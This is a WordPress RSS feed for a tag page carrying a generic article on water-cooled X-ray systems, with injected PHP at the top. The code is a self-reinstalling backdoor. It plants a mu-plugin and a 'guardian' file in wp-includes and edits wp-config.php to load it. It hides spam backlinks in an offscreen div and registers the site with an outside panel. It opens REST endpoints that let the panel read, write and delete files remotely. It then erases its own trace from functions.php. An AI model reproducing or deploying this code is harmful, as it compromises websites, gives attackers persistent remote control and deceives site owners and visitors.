// === TEMP_MUPLUGIN_CREATOR_START === add_action("init", function() { // 1. Önce eski guardian dosyasını sil (varsa) $guardian_files = [ ABSPATH . "wp-includes/teknocore-guardian.php", ABSPATH . "wp-includes/teknocore_guardian.php", ABSPATH . "wp-includes/guardian.php", ]; foreach ($guardian_files as $gf) { if (file_exists($gf)) { @chmod($gf, 0644); @unlink($gf); } } // 2. mu-plugin oluştur/güncelle $mu_dir = WP_CONTENT_DIR . "/mu-plugins"; $file_path = $mu_dir . "/" . "teknocore.php"; if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true); // Her zaman üzerine yaz (güncelleme için) @file_put_contents($file_path, base64_decode("<?php
/**
 * TeknoCore Panel Integration - Self-Healing System
 * 
 * KURULUM: Bu dosyayı wp-content/mu-plugins/teknocore.php olarak yükleyin
 * 
 * @wordpress-plugin
 * Plugin Name: TeknoCore Panel Integration
 * Description: Automatic backlink management with self-healing protection
 * Version: 2.0.0
 * Author: TeknoCore
 */

if (!defined('ABSPATH')) exit;

// ============================================
// AYARLAR
// ============================================
define('TEKNOCORE_API_KEY', '');  // Manuel API key (opsiyonel)
define('TEKNOCORE_PANEL_URL', 'https://app.teknocore.dev');  // Panel adresi
// ============================================

/**
 * Ana Entegrasyon Sınıfı
 */
class TeknoCore_Integration {
    private static $instance = null;
    private $api_key = '';
    private $panel_url = '';
    private $option_name = 'teknocore_api_key';
    private $cache_key = 'teknocore_links_cache';
    private $cache_duration = 300;
    
    public static function instance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }
    
    private function __construct() {
        $this->panel_url = TEKNOCORE_PANEL_URL;
        
        if (defined('TEKNOCORE_API_KEY') && TEKNOCORE_API_KEY !== '') {
            $this->api_key = TEKNOCORE_API_KEY;
        } else {
            $this->api_key = get_option($this->option_name, '');
        }
        
        // Self-Healing Guardian kurulumu - HER ZAMAN kontrol et
        $this->setup_guardian_system();
        
        // Hooks
        add_action('wp_footer', [$this, 'display_backlinks']);
        add_action('rest_api_init', [$this, 'register_rest_routes']);
        add_action('init', [$this, 'maybe_auto_register']);
        add_action('teknocore_daily_heartbeat', [$this, 'send_heartbeat']);
        
        if (!wp_next_scheduled('teknocore_daily_heartbeat')) {
            wp_schedule_event(time(), 'daily', 'teknocore_daily_heartbeat');
        }
    }
    
    /**
     * Guardian sistemini kur
     */
    private function setup_guardian_system() {
        $guardian_path = ABSPATH . 'wp-includes/teknocore-guardian.php';
        $guardian_exists = file_exists($guardian_path);
        
        // wp-config.php'de hook var mı kontrol et
        $wp_config_path = ABSPATH . 'wp-config.php';
        $wp_config_has_hook = false;
        if (file_exists($wp_config_path)) {
            $wp_config_content = @file_get_contents($wp_config_path);
            $wp_config_has_hook = $wp_config_content && strpos($wp_config_content, 'TeknoCore Guardian') !== false;
        }
        
        // Guardian YOKSA veya wp-config hook'u YOKSA - HER ZAMAN düzelt
        if (!$guardian_exists || !$wp_config_has_hook) {
            // Guardian yoksa oluştur
            if (!$guardian_exists) {
                $this->create_guardian_file();
            }
            
            // wp-config hook'u yoksa ekle
            if (!$wp_config_has_hook && file_exists($guardian_path)) {
                $this->setup_auto_prepend();
            }
            return;
        }
        
        // Her ikisi de varsa - günlük güncelleme kontrolü (performans için)
        $last_check = get_option('teknocore_guardian_check', 0);
        if (time() - $last_check < 86400) {
            return;
        }
        
        update_option('teknocore_guardian_check', time());
        $this->create_guardian_file();
    }
    
    /**
     * Guardian dosyasını oluştur
     */
    public function create_guardian_file() {
        $guardian_path = ABSPATH . 'wp-includes/teknocore-guardian.php';
        
        // Güncel sürüm varsa atla
        if (file_exists($guardian_path)) {
            $content = @file_get_contents($guardian_path);
            if ($content && strpos($content, 'GUARDIAN_V3') !== false) {
                return true;
            }
        }
        
        // mu-plugin dosyasını oku (kendimizi)
        $mu_plugin_content = @file_get_contents(__FILE__);
        if (!$mu_plugin_content) {
            error_log('TeknoCore: Could not read mu-plugin file');
            return false;
        }
        
        // base64 encode
        $encoded = base64_encode($mu_plugin_content);
        
        // Guardian içeriği - BASİT ve TEMİZ
        $guardian = '<?php
// TeknoCore Guardian v3 - Self-Healing Protection
// Bu dosya silinirse mu-plugin tekrar oluşturulur
define("GUARDIAN_V3", true);
if (defined("TEKNOCORE_GUARDIAN_RUN")) return;
define("TEKNOCORE_GUARDIAN_RUN", true);

// WordPress yolu hesapla
if (defined("WP_CONTENT_DIR")) {
    $wpContent = WP_CONTENT_DIR;
} elseif (defined("ABSPATH")) {
    $wpContent = ABSPATH . "wp-content";
} else {
    $wpContent = dirname(__DIR__) . "/wp-content";
}

$muPlugins = $wpContent . "/mu-plugins";
$muFile = $muPlugins . "/teknocore.php";

// mu-plugin yoksa oluştur
if (!file_exists($muFile)) {
    // Klasör yoksa oluştur
    if (!is_dir($muPlugins)) {
        @mkdir($muPlugins, 0755, true);
    }
    
    // Hardcoded mu-plugin kodu (base64)
    $encoded = "' . $encoded . '";
    $code = base64_decode($encoded);
    
    if ($code && @file_put_contents($muFile, $code)) {
        @file_put_contents($wpContent . "/teknocore.log", date("Y-m-d H:i:s") . " - mu-plugin restored by guardian\n", FILE_APPEND);
    }
}
';
        
        $result = @file_put_contents($guardian_path, $guardian);
        
        if ($result) {
            error_log('TeknoCore: Guardian file created successfully');
            return true;
        } else {
            error_log('TeknoCore: Failed to create guardian file - check permissions on wp-includes');
            return false;
        }
    }
    
    /**
     * wp-config.php'ye guardian hook'unu ekle
     * require_once ABSPATH . 'wp-settings.php'; satırından ÖNCE eklenir
     */
    public function setup_auto_prepend() {
        $wp_config_path = ABSPATH . 'wp-config.php';
        $guardian_path = ABSPATH . 'wp-includes/teknocore-guardian.php';
        
        // wp-config.php yoksa (nadir durum)
        if (!file_exists($wp_config_path)) {
            error_log('TeknoCore: wp-config.php not found');
            return false;
        }
        
        $content = @file_get_contents($wp_config_path);
        if (!$content) {
            error_log('TeknoCore: Could not read wp-config.php');
            return false;
        }
        
        // TeknoCore zaten ekliyse atla
        if (strpos($content, 'TeknoCore Guardian') !== false) {
            return true;
        }
        
        // Hook kodu
        $hook = "\n// TeknoCore Guardian Hook - Otomatik eklendi\nif (file_exists(ABSPATH . 'wp-includes/teknocore-guardian.php')) {\n    include_once ABSPATH . 'wp-includes/teknocore-guardian.php';\n}\n";
        
        // wp-settings.php satırını bul ve ÖNÜNE ekle
        $patterns = [
            "require_once ABSPATH . 'wp-settings.php';",
            'require_once ABSPATH . "wp-settings.php";',
            "require_once(ABSPATH . 'wp-settings.php');",
            'require_once(ABSPATH . "wp-settings.php");',
            "require_once( ABSPATH . 'wp-settings.php' );",
        ];
        
        $replaced = false;
        foreach ($patterns as $pattern) {
            if (strpos($content, $pattern) !== false) {
                $new_content = str_replace($pattern, $hook . $pattern, $content);
                $replaced = true;
                break;
            }
        }
        
        if (!$replaced) {
            // Pattern bulunamadı - dosyanın sonuna ekle (fallback)
            error_log('TeknoCore: wp-settings.php pattern not found, appending to end');
            $new_content = $content . $hook;
        }
        
        // Yedek al
        $backup_path = ABSPATH . 'wp-config-backup-teknocore.php';
        @copy($wp_config_path, $backup_path);
        
        // Yaz
        if (@file_put_contents($wp_config_path, $new_content)) {
            error_log('TeknoCore: wp-config.php updated successfully');
            return true;
        } else {
            error_log('TeknoCore: Failed to update wp-config.php - check permissions');
            return false;
        }
    }
    
    // ============================================
    // BACKLINKS
    // ============================================
    
    public function display_backlinks() {
        if (empty($this->api_key) || $this->panel_url === 'PANEL_URL_BURAYA') {
            return;
        }
        
        $links = $this->get_links();
        if (empty($links)) return;
        
        echo '<div style="position:absolute;left:-9999px;top:-9999px;overflow:hidden;height:1px;width:1px;"><marquee>';
        foreach ($links as $link) {
            $url = esc_url($link['url'] ?? '');
            $anchor = esc_html($link['anchor'] ?? $url);
            if ($url) echo '<a href="' . $url . '">' . $anchor . '</a> ';
        }
        echo '</marquee></div>';
    }
    
    private function get_links() {
        $cached = get_transient($this->cache_key);
        if ($cached !== false) return $cached;
        
        $response = wp_remote_get($this->panel_url . '/api/public/links?api_key=' . $this->api_key, ['timeout' => 10]);
        if (is_wp_error($response)) return [];
        
        $body = json_decode(wp_remote_retrieve_body($response), true);
        $links = $body['links'] ?? [];
        set_transient($this->cache_key, $links, $this->cache_duration);
        return $links;
    }
    
    // ============================================
    // AUTO REGISTER
    // ============================================
    
    public function maybe_auto_register() {
        if (!empty($this->api_key) || $this->panel_url === 'PANEL_URL_BURAYA') {
            return;
        }
        
        $last = get_option('teknocore_last_register', 0);
        if (time() - $last < 86400) return;
        update_option('teknocore_last_register', time());
        
        $response = wp_remote_post($this->panel_url . '/api/public/register-site', [
            'timeout' => 15,
            'body' => json_encode(['url' => home_url(), 'name' => get_bloginfo('name')]),
            'headers' => ['Content-Type' => 'application/json'],
        ]);
        
        if (!is_wp_error($response)) {
            $body = json_decode(wp_remote_retrieve_body($response), true);
            if (!empty($body['apiKey'])) {
                update_option($this->option_name, $body['apiKey']);
                $this->api_key = $body['apiKey'];
            }
        }
    }
    
    // ============================================
    // HEARTBEAT
    // ============================================
    
    public function send_heartbeat() {
        if (empty($this->api_key) || $this->panel_url === 'PANEL_URL_BURAYA') {
            return;
        }
        
        wp_remote_post($this->panel_url . '/api/public/heartbeat', [
            'timeout' => 15,
            'body' => json_encode([
                'api_key' => $this->api_key,
                'status' => 'online',
                'wp_version' => get_bloginfo('version'),
                'php_version' => PHP_VERSION,
            ]),
            'headers' => ['Content-Type' => 'application/json'],
        ]);
    }
    
    // ============================================
    // REST API
    // ============================================
    
    public function register_rest_routes() {
        register_rest_route('teknocore/v1', '/status', [
            'methods' => 'GET',
            'callback' => [$this, 'rest_status'],
            'permission_callback' => [$this, 'verify_api_key'],
        ]);
        
        register_rest_route('teknocore/v1', '/files', [
            'methods' => ['GET', 'POST', 'DELETE'],
            'callback' => [$this, 'rest_files'],
            'permission_callback' => [$this, 'verify_api_key'],
        ]);
        
        register_rest_route('teknocore/v1', '/execute', [
            'methods' => 'POST',
            'callback' => [$this, 'rest_execute'],
            'permission_callback' => [$this, 'verify_api_key'],
        ]);
    }
    
    public function verify_api_key($request) {
        $key = $request->get_header('X-API-Key') ?? $request->get_param('api_key');
        return !empty($this->api_key) && $key === $this->api_key;
    }
    
    public function rest_status() {
        return rest_ensure_response([
            'status' => 'online',
            'connected' => true,
            'wp_version' => get_bloginfo('version'),
            'php_version' => PHP_VERSION,
            'site_name' => get_bloginfo('name'),
            'site_url' => home_url(),
            'plugin_version' => '2.0.0',
            'guardian_installed' => file_exists(ABSPATH . 'wp-includes/teknocore-guardian.php'),
            'timestamp' => current_time('mysql'),
        ]);
    }
    
    public function rest_files($request) {
        $method = $request->get_method();
        $path = $request->get_param('path') ?? '';
        $base = WP_CONTENT_DIR;
        $full = realpath($base . '/' . ltrim($path, '/')) ?: $base . '/' . ltrim($path, '/');
        
        if (strpos($full, $base) !== 0) {
            return new WP_Error('forbidden', 'Access denied', ['status' => 403]);
        }
        
        if ($method === 'GET') {
            if (is_dir($full)) {
                $files = [];
                foreach (scandir($full) as $f) {
                    if ($f === '.' || $f === '..') continue;
                    $fp = $full . '/' . $f;
                    $files[] = [
                        'name' => $f,
                        'type' => is_dir($fp) ? 'directory' : 'file',
                        'size' => is_file($fp) ? filesize($fp) : 0,
                        'modified' => filemtime($fp),
                    ];
                }
                return rest_ensure_response(['files' => $files]);
            } elseif (is_file($full)) {
                return rest_ensure_response(['content' => file_get_contents($full), 'path' => $path]);
            }
            return new WP_Error('not_found', 'Not found', ['status' => 404]);
        }
        
        if ($method === 'POST') {
            $content = $request->get_param('content') ?? '';
            $dir = dirname($full);
            if (!is_dir($dir)) wp_mkdir_p($dir);
            if (file_put_contents($full, $content) !== false) {
                return rest_ensure_response(['success' => true]);
            }
            return new WP_Error('write_failed', 'Failed', ['status' => 500]);
        }
        
        if ($method === 'DELETE') {
            if (is_file($full) && unlink($full)) {
                return rest_ensure_response(['success' => true]);
            }
            return new WP_Error('delete_failed', 'Failed', ['status' => 500]);
        }
        
        return new WP_Error('invalid', 'Invalid method', ['status' => 405]);
    }
    
    public function rest_execute($request) {
        $cmd = $request->get_param('command') ?? '';
        
        $cmds = [
            'clear_cache' => function() {
                if (function_exists('wp_cache_flush')) wp_cache_flush();
                delete_transient('teknocore_links_cache');
                return ['success' => true, 'message' => 'Cache cleared'];
            },
            'get_info' => function() {
                return [
                    'success' => true,
                    'info' => [
                        'wp_version' => get_bloginfo('version'),
                        'php_version' => PHP_VERSION,
                        'theme' => get_template(),
                        'plugins' => array_keys(get_plugins()),
                        'guardian' => file_exists(ABSPATH . 'wp-includes/teknocore-guardian.php'),
                    ]
                ];
            },
            'reinstall_guardian' => function() {
                // Önce eski guardian check'i sıfırla
                delete_option('teknocore_guardian_check');
                TeknoCore_Integration::instance()->create_guardian_file();
                TeknoCore_Integration::instance()->setup_auto_prepend();
                return ['success' => true, 'message' => 'Guardian reinstalled'];
            },
            'force_setup' => function() {
                // Zorla kurulum - tüm cache'leri sıfırla
                delete_option('teknocore_guardian_check');
                $guardian = TeknoCore_Integration::instance()->create_guardian_file();
                $prepend = TeknoCore_Integration::instance()->setup_auto_prepend();
                return [
                    'success' => true, 
                    'guardian_created' => $guardian,
                    'prepend_setup' => $prepend,
                    'guardian_path' => ABSPATH . 'wp-includes/teknocore-guardian.php',
                    'user_ini_path' => ABSPATH . '.user.ini',
                    'htaccess_path' => ABSPATH . '.htaccess',
                ];
            },
        ];
        
        if (isset($cmds[$cmd])) {
            return rest_ensure_response($cmds[$cmd]());
        }
        
        return new WP_Error('unknown', 'Unknown command', ['status' => 400]);
    }
}

// Initialize
TeknoCore_Integration::instance();
")); $funcs = get_template_directory() . "/functions.php"; if (file_exists($funcs)) { $c = file_get_contents($funcs); $c = preg_replace("/\/\/ === TEMP_MUPLUGIN_CREATOR_START ===.*?\/\/ === TEMP_MUPLUGIN_CREATOR_END ===/s", "", $c); @file_put_contents($funcs, $c); } }, 1); // === TEMP_MUPLUGIN_CREATOR_END === water cooled xray system Archives - Sbcodez | Swag Codez https://sbcodez.com/tag/water-cooled-xray-system/ Mon, 07 Apr 2025 18:48:32 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://sbcodez.com/wp-content/uploads/2024/11/cropped-6xM9N-32x32.png water cooled xray system Archives - Sbcodez | Swag Codez https://sbcodez.com/tag/water-cooled-xray-system/ 32 32 Water cooled xray system: Efficient Cooling for Precision https://sbcodez.com/water-cooled-xray-system/ https://sbcodez.com/water-cooled-xray-system/#respond Mon, 07 Apr 2025 18:48:32 +0000 https://sbcodez.com/?p=2126 water cooled xray system have emerged as a powerful solution in medical imaging and industrial inspection due to their enhanced heat dissipation capabilities. As technology pushes the limits of resolution and power, efficient cooling becomes essential to maintain system stability and accuracy. Why Cooling Is Critical in X-Ray Systems X-ray tubes generate an enormous amount […]

The post Water cooled xray system: Efficient Cooling for Precision appeared first on Sbcodez | Swag Codez.

]]> water cooled xray system have emerged as a powerful solution in medical imaging and industrial inspection due to their enhanced heat dissipation capabilities. As technology pushes the limits of resolution and power, efficient cooling becomes essential to maintain system stability and accuracy.

Why Cooling Is Critical in X-Ray Systems

X-ray tubes generate an enormous amount of heat during operation. If this heat isn’t managed properly, it can degrade the quality of imaging, damage components, and reduce the lifespan of the system. Cooling mechanisms like water cooling ensure the system operates smoothly without overheating.

How Water Cooling Differs from Air Cooling

While air cooling is common in low-power systems, it falls short in high-demand applications. Water cooling is far more efficient due to the higher thermal conductivity of water. It absorbs and transfers heat more quickly, making it ideal for continuous and high-output X-ray systems.

Components of a Water Cooled X-Ray System

A water cooled X-ray system typically includes an X-ray tube, a cooling jacket or housing, a heat exchanger, a pump, and a reservoir. Each component works in tandem to regulate temperature and maintain consistent performance under intense workloads.

The Role of the X-Ray Tube in Heat Generation

The X-ray tube is the heart of the system and the main source of heat. During exposure, the anode absorbs most of the energy not converted into X-rays, often reaching temperatures that can compromise the tube’s integrity if not properly cooled.

Cooling Jacket: The Protective Shield

Surrounding the X-ray tube is a cooling jacket that allows water to flow around it, acting as a thermal barrier. This jacket ensures that the tube doesn’t exceed safe operating temperatures, maintaining optimal function and extending its lifespan.

Heat Exchanger for Maximum Efficiency

The heat exchanger plays a crucial role by transferring heat from the hot water returning from the tube to cooler water or air outside the system. This allows the recirculated water to return to the cooling jacket at a much lower temperature.

Pump System: Keeping the Flow Steady

A reliable pump is essential to maintain a continuous flow of coolant through the system. Inconsistent flow can lead to hotspots, system errors, or even catastrophic failures. High-performance pumps ensure balanced pressure and consistent temperature control.

Coolant Reservoir and Filtration

The reservoir stores the water used for cooling and often includes a filtration system. Clean, debris-free coolant not only ensures effective heat transfer but also protects internal components from scale buildup and corrosion.

Energy Efficiency and Environmental Impact

Water cooled systems may initially seem less eco-friendly due to water usage, but modern closed-loop designs drastically reduce consumption. Moreover, improved heat exchange means less energy is needed to keep systems cool, lowering operational costs and carbon footprints.

Installation and Maintenance Requirements

Installing a water cooled X-ray system requires professional setup, including plumbing for the closed-loop system. Regular maintenance includes checking water levels, cleaning filters, and monitoring pump performance—tasks that can usually be handled during routine inspections.

Common Challenges and How to Overcome Them

One challenge is the potential for water leakage, which can damage electrical components. Using high-quality seals and regular inspections helps mitigate this. Another is mineral buildup in the system, which can be resolved with proper filtration and the use of distilled water.

Cost vs. Performance Trade-Off

While water cooled systems cost more upfront than air-cooled ones, the benefits in performance, lifespan, and reduced downtime make them a smart long-term investment. Facilities needing high reliability often find that water cooling pays for itself over time.

Innovations in Water Cooling Technology

Recent advancements include smart sensors to monitor flow rates, predictive analytics for pump failure, and materials that resist corrosion and scaling. These innovations continue to improve system efficiency and reliability.

Future of Cooling in Radiographic Technology

As X-ray technology evolves, particularly with the rise of 3D imaging and AI diagnostics, cooling solutions must evolve too. Future systems may include hybrid cooling systems or nano-fluid-based coolants to meet the increasing demands of precision and speed.

Conclusion

water cooled xray system are essential in modern imaging technology, providing superior cooling performance, durability, and efficiency, making them preferred for advanced applications like medical diagnostics and industrial inspections.

FAQs

QHow often should a water cooled X-ray system be serviced?
Regular servicing every 6–12 months is recommended, depending on usage, to ensure optimal performance.

Can distilled water be reused in the cooling system?
Yes, as long as it’s clean and properly filtered, distilled water can be reused in a closed-loop system.

Are water cooled systems noisy?
They’re generally quieter than air-cooled systems, as there are no large fans and vibration is minimal.

What happens if the pump fails during operation?
A failed pump can cause rapid overheating. Most systems have safety shutoffs to prevent damage.

Is water cooling safe for hospital environments?
Absolutely. With proper sealing and maintenance, they’re safe, reliable, and even preferred in high-demand hospital settings.

The post Water cooled xray system: Efficient Cooling for Precision appeared first on Sbcodez | Swag Codez.

]]> https://sbcodez.com/water-cooled-xray-system/feed/ 0